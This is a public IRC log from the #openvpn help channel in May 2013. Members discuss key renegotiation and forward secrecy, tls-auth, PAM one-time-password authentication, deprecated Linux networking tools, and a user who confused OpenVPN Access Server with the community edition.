17:37 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 245 seconds]
17:38 -!- p3rror [~p3rror@196.201.78.139] has joined #openvpn
17:39 -!- zoredache [~zoredache@pdpc/supporter/professional/zoredache] has joined #openvpn
17:43 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
17:44 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
17:44 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
17:46 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit [Client Quit]
18:03 -!- mirco [~mirco@p50804B71.dip0.t-ipconnect.de] has joined #openvpn
18:08 -!- mirco_ [~mirco@p50804B71.dip0.t-ipconnect.de] has joined #openvpn
18:08 -!- mirco [~mirco@p50804B71.dip0.t-ipconnect.de] has quit [Ping timeout: 260 seconds]
18:08 -!- mirco_ is now known as mirco
18:23 -!- p3rror [~p3rror@196.201.78.139] has quit [Quit: Leaving]
18:28 < cnf> damn, the iOS client is giving me pains ^^;
18:29 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
18:34 -!- jivee [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
18:35 < cnf> seems to go in an auth loop
18:40 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
18:42 < cnf> huh
18:42 < cnf> seems the mobile client doesn't like reneg-sec 0
18:42 < cnf> anyone here working on the iOS client?
18:44 -!- pagios [~pagios@46.19.194.96] has quit [Remote host closed the connection]
18:47 < cnf> sweet, openvpn with 2 stage auth working! \o/
18:53 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
18:57 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
19:12 -!- mitz_ [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
19:13 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Ping timeout: 276 seconds]
19:14 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
19:15 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
19:16 -!- raidz is now known as raidz_away
19:17 -!- chovy [~chovy@108-194-42-92.lightspeed.mtryca.sbcglobal.net] has quit [Ping timeout: 252 seconds]
19:18 -!- zoredache [~zoredache@pdpc/supporter/professional/zoredache] has left #openvpn []
19:19 -!- chovy [~chovy@pdpc/supporter/active/chovy] has joined #openvpn
19:40 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
19:58 -!- mitz_ [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Quit: WeeChat 0.4.0]
20:16 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
20:20 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
20:34 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 264 seconds]
21:01 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
21:02 -!- mirco [~mirco@p50804B71.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
21:03 -!- mirco [~mirco@p50804465.dip0.t-ipconnect.de] has joined #openvpn
21:04 -!- master_of_master [~master_of@p4FF24513.dip0.t-ipconnect.de] has joined #openvpn
21:05 -!- master_o1_master [~master_of@p4FF24B9A.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
21:29 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
22:06 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
22:19 -!- jivee [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
22:22 -!- clever_ is now known as clever
22:22 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
23:14 -!- folivora [~out@46.19.34.64] has joined #openvpn
23:49 -!- jtruckz [~jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
--- Day changed Sat May 18 2013
00:06 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
00:07 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
00:29 <@krzee> why would you want reneg-sec 0?
00:29 <@krzee> !forwardsecurity
00:29 <@vpnHelper> "forwardsecurity" is (#1) in server/client mode with certs your key renegotiates (changes) every hour (by default), so if someone captures your traffic, and then gets your key, they can only decrypt the traffic within the timeframe since last renegotiation or (#2) in ptp mode (static key) you do not have this, so if someone gets your key they can decrypt ANY past traffic that they captured
00:29 <@krzee> with reneg-sec 0 you disable that ^
00:31 < pekster> To clarify, you only have forward security between separate connection sessions (you still have it between sessions, and due to the DHE key exchange compromise of private TLS keys won't expose past sessions)
00:31 < pekster> So it's not really "that" bad for many use-cases to do that
00:31 < pekster> Depends on what your trying to protect against though
00:31 <@krzee> that is true, you disable it during each session
00:31 <@krzee> however renegotiation works everywhere and doesnt hurt anything, so why would you ever disable it?
00:32 < pekster> You aren't disabling the benefits. Specifically #2 doesn't apply (*any* use of a TLS mode doesn't use static keys
00:32 < pekster> There was a guy here a week or so ago with auth issues due to the use of a OTP for --auth-user-pass-verify, and either clever logic had to be used to require valid auth only on the initial connection, or --reneg-sec 0
00:32 < pekster> The latter option was preferred by that user due to the use of the PAM plugin that can't (easily) be redesigned to support that
00:33 < pekster> So there are valid usecases where implementation concerns trump the possibly unnecessary rotating key
00:33 <@krzee> what was the problem that required no key reneg?
00:33 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
00:33 < pekster> From a security perspective it's not really that bad to use unless you expect a large volume of symmetric-key-protected-data that could be used in a birthday attack or some such
00:34 <@krzee> it shouldnt be requesting otp when it renegs
00:34 < pekster> PAM did
00:34 < pekster> openvpn isn't aware of what PAM "does" when the plugin is used; it's abstracted
00:34 <@krzee> ild expect that plugin to only verify user on login
00:34 <@krzee> (for auth)
00:34 < pekster> Auth is always verified every time when --auth-user-pass is used
00:35 <@krzee> but it shouldnt be used every reneg
00:35 < pekster> It is
00:35 <@krzee> theres no persist option for that?
00:35 < pekster> That's how openpvn works, and it's a key design feature for usecases such as LDAP allowing logins only during certians hours
00:35 < pekster> There is; perhaps you can figure out why persisting an OTP won't work
00:36 <@krzee> it should persist the user was authed and not need a new key til new login attempted
00:36 < pekster> (without clever logic server-side to use the env-vars presented to --auth-user-pass-verify of course, that the user opted not to use for convenience of the PAM plugin)
00:36 < pekster> That's not how it works
00:36 < pekster> And there are valid usecases for tha too
00:36 < pekster> It is supported *if* a user is clever enough to code it
00:36 < pekster> The PAM plugin does not provide that option
00:36  * pekster is quite familiar with the internals on this point
00:37 <@krzee> if i wanted certain hours my auth script would check that, and crontabs would run at the cutoff time to logout users that shouldnt be in (and they couldnt re-auth because the auth script wouldnt let them)
00:37 <@krzee> i had never dug deep enough to know thats not how it worked
00:37 < pekster> It's not a problem for most people, and if it is they can get clever in their own scripts (which can do anything their heart's desire) or cheat and just disabling rolling symmetric keys
00:38 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Client Quit]
00:38 < pekster> The benefit of DHE over the TLS channel remains unchanged
00:38 <@krzee> so you see disabling renegotiations as no biggie, but to you it is important which server verification method people choose to use?
00:39 < pekster> Deprecated stuff sucks
00:39 < pekster> Don't use "Netscape" extensions in your X509, and don't use ifconfig on Linux. Get with the times ;) ;)
00:41 < pekster> Small asside: even though net-tools is dying a death slower than IPv6 is coming to down, the only "officially" deprecated common tool thus far is `netstat`, officially deprecated fall of 2012. RIP netstat. Check out ss(8) if that's news too
00:41 < pekster> aside*
00:41 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 260 seconds]
00:41 < pekster> Or of course use BSD where they actually maintain these tools :D
00:42 < pekster> (Linux folk just wrote completely new ones and let the old ones rot. Yay for making life complicated for users)
00:43 <@krzee> <-- bsd user, that is news
00:43 <@krzee> (ss)
00:43 < pekster> I hope you've at least heard of `ip`
00:43 < pekster> !ifconfig_linux
00:43 <@vpnHelper> "ifconfig_linux" is Avoid use of 'ifconfig' and 'route' commands on modern Linux distros. It's old, deprecated, and often misleading/wrong. Use the 'ip a' and 'ip r' commands instead. More info: http://inai.de/2008/0219-ifconfig-sucks.php
00:43 <@krzee> yep
00:43 <@krzee> but i still use them :x
00:43 <@krzee> lol
00:43 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
00:43 < pekster> That was "a long time coming" in 2008 (the iproute2 tools, including ss, have been around since the early 2000's)
00:44 < pekster> They work as long as you don't need the "new" ioctl's
00:45 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Client Quit]
00:46 < pekster> (And by "new" I mean anything the Linux kernel has added as far as major features in the last 10 or so years)
00:46 < pekster> If 10-year-old backend networking is fine, you can live without the new stuff until it finally disappears for good
00:46 < pekster> (and many people happily live on in bliss, either by choice of because they don't yet know)
00:47 <@krzee> haha thats me (when im in linux_
00:47 <@krzee> i do my heavy lifting in bsd tho
00:47 < pekster> That said, many of the new features are really nifty. Linux has come a long ways and is a sane choice for advanced networking now; that wasn't the case 10-15 years ago
00:48 < pekster> QoS & routing in particular have made huge advances, and Linux completely did away with the whole notion of "aliased" interfaces (which was really just a hack around ifconfig's failure to handle multiple addresses on a displayed adapter anyway -- it never was a "seperate NIC" or any of the dumb things you hear people try to use to explain it)
00:48 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
00:49 < pekster> Long gone are the days of "eth0:1" or such nonsense. Nowdays you get enp0s7 with multiple addresses (whatever IPv4 & IPv6 you need) on it
00:49 <@krzee> OH COOL
00:49 <@krzee> oops c/l
00:50 < pekster> Well, or eth0, but I added in the new "biosdevname" network structure too (I hate it and renamed mine to be numbered starting at 0, so I use if0, if1, etc)
00:50 < pekster> The devname stuff looks more "BSD-like" than before
00:52 <@krzee> i liked the linux way
00:52 <@krzee> im used to the bsd way, but not a huge fan
00:52 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Client Quit]
00:53 < pekster> You can rename it; there's a well-linked page I was going to paste you, but it's 404 now; I'm hoping it's just a temp fault becuase it's all over a couple of distro docs I use :\
00:53 < pekster> http://www.freedesktop.org/wiki/Software/systemd/PredictableNetworkInterfaceNames if it ever comes up. Basically you have a few options if you don't like it, including using the former method to "fake" predictable names (like eth0) by using either unpredictable kernel names (fine if you only have an eth0 and wlan0 f.ex) or do what I did and pick your own non-namespace-collidng names, like my if0
00:54 < pekster> So yup, lots of stuff happening on the Linux side if you've been ignoring it ;)
00:55 < pekster> (which means it'll hit CentOS in another 5 years or so)
00:56 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
00:58 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
00:59 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
01:03 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Ping timeout: 245 seconds]
01:04 < pekster> http://web.archive.org/web/20130420102529/http://www.freedesktop.org/wiki/Software/systemd/PredictableNetworkInterfaceNames for an archive.org reference until upstream fixes thier web page
01:04 <@vpnHelper> Title: freedesktop.org - Software/systemd/PredictableNetworkInterfaceNames (at web.archive.org)
01:15 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
01:17 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Read error: Connection reset by peer]
01:30 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
01:50 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
01:51 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 248 seconds]
02:01 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Remote host closed the connection]
02:03 -!- tjz [~tjz@unaffiliated/tjz] has quit [Quit: quit irc]
02:04 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
02:16 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Quit: really? must I leave? aw pls let me stay!]
02:18 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
02:19 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Ping timeout: 260 seconds]
02:19 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:26 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
02:29 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
02:31 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
02:31 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Client Quit]
02:33 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
02:52 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
02:59 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
03:09 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
03:10 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
03:24 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
03:28 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
03:34 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
03:36 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
03:40 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
03:47 -!- vraa__ [~speed_rac@173.45.218.54] has joined #openvpn
03:50 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 248 seconds]
03:51 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
03:56 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:04 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
04:08 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
04:17 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
04:19 -!- mirco [~mirco@p50804465.dip0.t-ipconnect.de] has quit [Quit: mirco]
04:19 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
04:26 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
04:28 -!- cj [~cjac@2607:ff08:f5:3a::3] has quit [Read error: Operation timed out]
04:29 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
04:31 -!- xBytez [~xbytez@unaffiliated/xbytez] has quit [Quit: kthxbai]
04:32 -!- xBytez [~xbytez@unaffiliated/xbytez] has joined #openvpn
04:34 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
04:36 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
04:44 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
04:44 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
04:48 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
04:51 -!- Sorcier_FXK [~Sorcier_F@unaffiliated/sorcierfxk] has joined #openvpn
04:51 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
04:52 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
04:53 < tjz> when did open release for android?
05:15 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
05:16 -!- jzaw_ [~jzaw@loki.dzki.co.uk] has joined #openvpn
05:16 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Read error: Connection reset by peer]
05:17 < jzaw_> !ping
05:17 <@vpnHelper> pong
05:18 -!- jzaw_ is now known as jzaw
05:19 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
05:32 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
05:32 -!- lbft [~lbft@tools2.lbft.net] has quit [Changing host]
05:32 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
05:34 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
05:35 -!- vraa__ [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
06:13 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:16 -!- Kernel_Core [~Kernel_Co@s83-180-255-23.cust.tele2.se] has joined #openvpn
06:16 < Kernel_Core> hi guys
06:16 < Kernel_Core> I want to know is there anyway in openvpn to do port hoppoing with UDP mode ?
06:17 < Kernel_Core> I mean to change src port in client for every 10 packet or even every packet ?
06:18 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
06:18 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
06:23 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
06:24 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
06:35 -!- Kernel_Core [~Kernel_Co@s83-180-255-23.cust.tele2.se] has quit [Quit: Leaving]
06:43 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
06:45 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
07:11 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
07:22 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
07:27 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
07:28 -!- Zenum [~znc@unaffiliated/zenum] has quit [Excess Flood]
07:29 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
07:51 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
07:51 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
08:04 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
08:08 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Ping timeout: 264 seconds]
08:10 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
08:13 -!- Zenum [~znc@2a03:f80:ed15:ed15:ed15:ed15:c4fc:f104] has joined #openvpn
08:13 -!- Zenum [~znc@2a03:f80:ed15:ed15:ed15:ed15:c4fc:f104] has quit [Changing host]
08:13 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
08:16 -!- iliv [~iliv@5.248.193.99] has joined #openvpn
08:18 < iliv> hi, I'm looking at this config where two tls-auth keys are used to apparently harden OpenVPN security. I'm also looking at the official how-to and it mentions only one key. Is there any sense in using multiple keys? Does it make any difference if I use 4 different keys for tls-auth?
08:29 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
08:32 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
08:34 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
08:46 < cnf> anyone here work on the openvpn mobile codebase? for iOS and android?
08:47 < cnf> it seems to not like reneg-sec 0
09:02 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
09:02 <@ecrist> yeah
09:02 <@ecrist> it's a whole rewrite of the client code
09:02 <@ecrist> there's a ton of stuff it doesn't support yet
09:04 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
09:05 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
09:08 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
09:11 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has quit [Remote host closed the connection]
09:21 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
09:27 -!- JAVACODER [~JAVACODER@2.190.34.153] has joined #openvpn
09:36 < pekster> iliv: If you use the optional direction argument to --tls-auth it effectively does use 4 different keys (one each direction for enrypt and signing.) It's used as a form of a PSK to grant access to perform TLS authentication, so "multiple" keys doesn't really make sense
10:01 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
10:01 -!- xbanux1 [~xbanux@triband-mum-59.182.171.109.mtnl.net.in] has joined #openvpn
10:04 < xbanux1> hey guys...i have a cloud hosted (windows) server...i need a solution wherein i can connect to this server via VPN & access the services hosted on it...
10:04 < xbanux1> is openvpn an appropriate too for this?
10:06 < xbanux1> *tool
10:06 < pekster> Sure. You plan to run openvpn on the system you're hosting services from? In that case there's not even server-side (from the openvpn server's perspective) routing involved since clients can simply use the VPN IP of the server
10:06 < pekster> Although doing that you can't override the server's external IP the client is using to connect since that's how the encapsulated VPN packets arrive too
10:08 < xbanux1> ok...will have i have to install a openvpn server on the windows machine? or is there a point-to-point type configuration?
10:10 < pekster> OpenVPN does have a PtP mode, but it aways requires openvpn. OpenVPN uses its own protocol that is not compatible with any different protocols
10:10 < pekster> !statickey
10:10 <@vpnHelper> "statickey" is (#1) you can use static keys by using --secret </path/to/key> or (#2) static keys only work for ptp links, not client/server. They also do not provide forward encryption. A forward-secure encryption scheme (such as openvpn uses with certs) protects secret keys from exposure by evolving the keys with time. or (#3) see !forwardsecurity for more info
10:12 < xbanux1> thanks for the info pekster...will check it out
10:23 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
10:23 -!- mirco [~mirco@p5B2837DA.dip0.t-ipconnect.de] has joined #openvpn
10:28 -!- mirco [~mirco@p5B2837DA.dip0.t-ipconnect.de] has quit [Ping timeout: 260 seconds]
10:32 -!- erre [~erre@148.85-86-200.dynamic.clientes.euskaltel.es] has joined #openvpn
10:33 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
10:34 -!- fluter [~fluter@fedora/fluter] has quit [Quit: Leaving]
10:47 -!- xbanux [~xbanux@triband-mum-59.182.171.109.mtnl.net.in] has joined #openvpn
10:48 -!- xbanux1 [~xbanux@triband-mum-59.182.171.109.mtnl.net.in] has quit [Read error: No route to host]
11:00 -!- xbanux [~xbanux@triband-mum-59.182.171.109.mtnl.net.in] has quit [Ping timeout: 276 seconds]
11:05 -!- xbanux [~xbanux@triband-mum-59.182.171.109.mtnl.net.in] has joined #openvpn
11:07 -!- xTz [xtz@93.152.166.203] has quit [Quit: leaving]
11:08 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
11:08 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Client Quit]
11:09 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
11:12 -!- pagios [~pagios@46.19.194.96] has joined #openvpn
11:14 < pagios> hello
11:14 < pagios> when a client disconnects the timeout is high on the server so that when the client reconnects it is treated as a continuous session, how can i lower the timeout so that the server sense that?
11:16 < pekster> It's not treated as a continious session unless *both* sides do not time out. If either one does, a new session is created because it's impossible to associate with an exist session when one side begins a new TLS handshake
11:16 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
11:17 < pekster> If the server uses --duplicate-cn then the client's re-connection is allowed in addition to the possibly-not-yet-timed-out prior session. Otherwise, the new connection implicitly disconnects the old user by the same X509 commonName
11:24 < pagios> how can i set the timout?
11:24 < pekster> !keepalive
11:24 <@vpnHelper> "keepalive" is (#1) see --keepalive in the manual for how to make clients retry connecting if they get disconnected. or (#2) basically it is a wrapper for managing --ping and --ping-restart in server/client mode or (#3) if you use this, don't use --tls-exit and also avoid --single-session and --inactive
11:24 < pagios> thanks
11:25 < pagios> every time there is a reconnection a client_script defined in server.conf is called?
11:25 < pekster> If you mean --client-connect, then yes
11:25 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has quit [Ping timeout: 256 seconds]
11:25 < pekster> "client_script" isn't a valid directive
11:25 < pagios> even if a timeout doesnt occur?
11:26 < pekster> That script is called *every* time ea client is being authenticated
11:26 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
11:26 < pagios> and is it authenticated on reconnection even if timeout is not reached?
11:30 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
11:31 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
11:38 < pekster> I don't understand your question. A client never "reconnects" if it didn't recieve a soft-restart (which can happen due to timeout or a SIGUSR1 signal)
11:38 -!- xbanux [~xbanux@triband-mum-59.182.171.109.mtnl.net.in] has quit [Ping timeout: 245 seconds]
11:38 -!- xbanux [~xbanux@triband-mum-59.182.177.204.mtnl.net.in] has joined #openvpn
11:54 -!- eliasbats [elias@46.246.152.18.dsl.dyn.forthnet.gr] has joined #openvpn
11:56 < eliasbats> i just installed openvpn in my CentOS 5 with "rpm -i openvpn.rpm"
11:57 < eliasbats> why isn't there the "openvpn" command available on my CLI?
11:58 < rob0> It has to run as root to be able to set up the interface and routes. It should be in root's $PATH, /usr/sbin/openvpn
11:58 < pekster> Your $PATH probably lacks the location it was installed to; it's not uncommon for distros to exclude {,/usr,/usr/local}/sbin paths from non-priveleged users' shell environments
11:59 < pekster> There are "some" openvpn operation syou can do as a non-root user (like getting help, generating static keys, etc) and you should update your PATH environment or call it with a full path to do such things
12:04 < eliasbats> thank you
12:04 -!- pagios [~pagios@46.19.194.96] has left #openvpn ["Leaving"]
12:04 -!- pagios [~pagios@46.19.194.96] has joined #openvpn
12:08 < eliasbats> still can't find it... quite strange
12:09 < eliasbats> [root@centos57 /]# find -name openvpn*
12:09 < eliasbats> ./home/openvpn_as
12:09 < eliasbats> ./home/openvpn
12:09 < eliasbats> ./tmp/openvpn-as-1.8.5-CentOS5.i386.rpm
12:09 < eliasbats> ./usr/share/logwatch/default.conf/services/openvpn.conf
12:09 -!- eliasbats [elias@46.246.152.18.dsl.dyn.forthnet.gr] has quit [Excess Flood]
12:09 -!- eliasbats [elias@46.246.152.18.dsl.dyn.forthnet.gr] has joined #openvpn
12:10 < rob0> !as
12:10 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
12:10 < eliasbats> i don't want AS. I want the good old openvpn. where should I find the package to install?
12:10 < rob0> You apparently did not install the openvpn we support here. OpenVPN-AS is proprietary software.
12:11 < pekster> !download
12:11 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
12:11 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
12:11 < rob0> You'd ask your distro.
12:11 < rob0> CentOS 5 is rather old, too.
12:11 < pekster> Upstream should have the GPL package, although not the most recent version. You can also see,
12:11 < pekster> !repo
12:11 <@vpnHelper> "repo" is openvpn runs some software repositories for your installing pleasure, http://community.openvpn.net/openvpn/wiki/OpenvpnSoftwareRepos
12:11 < pekster> (though like rob0 said, CenOS5 might be too old
12:12 < rob0> oh, I'm sure CentOS 5 had openvpn, but probably v. 2.0.9
12:12 < rob0> lots of new features in 2.1+
12:12 < eliasbats> thank you guys very much, i think the OpenVPN site makes it difficult to reach to the community OpenVPN
12:13 < rob0> yes, probably by design :)
12:13 < pekster> rob0: Too old for the community buildbots to target I mean
12:13 < rob0> oh, right
12:13  * pekster does wish the commercial non-free stuff would just move to a different website, like fedora.org and redhat.com did years ago
12:14 < pekster> It's not even the same codebase due to GPL restrictions, so it's quite silly to have them hosted in the same spot beyond confusing users into getting non-free software unwittingly
12:14 < pekster> (of course, users blindly installing without reading whatever License.txt AS ships with probably deserve at least a little hassle for that... :P
12:17 < rob0> Also, you should know your distro better. Don't go googling about for new software before looking in your distro's repos.
12:18 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
12:26 < eliasbats> guilty as charged
12:38 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
13:02 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
13:02 -!- eliasbats [elias@46.246.152.18.dsl.dyn.forthnet.gr] has quit []
13:11 -!- [fred] [fred@konfuzi.us] has joined #openvpn
13:12 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:19 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
13:19 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 252 seconds]
13:21 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
13:35 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
13:37 -!- qmr_ is now known as qmr
14:02 -!- corretico [~luis@186.96.91.239] has joined #openvpn
14:10 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
14:14 -!- djjunde [~djjunde@dsl-espbrasgw1-54f9cf-178.dhcp.inet.fi] has quit [Read error: No route to host]
14:18 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
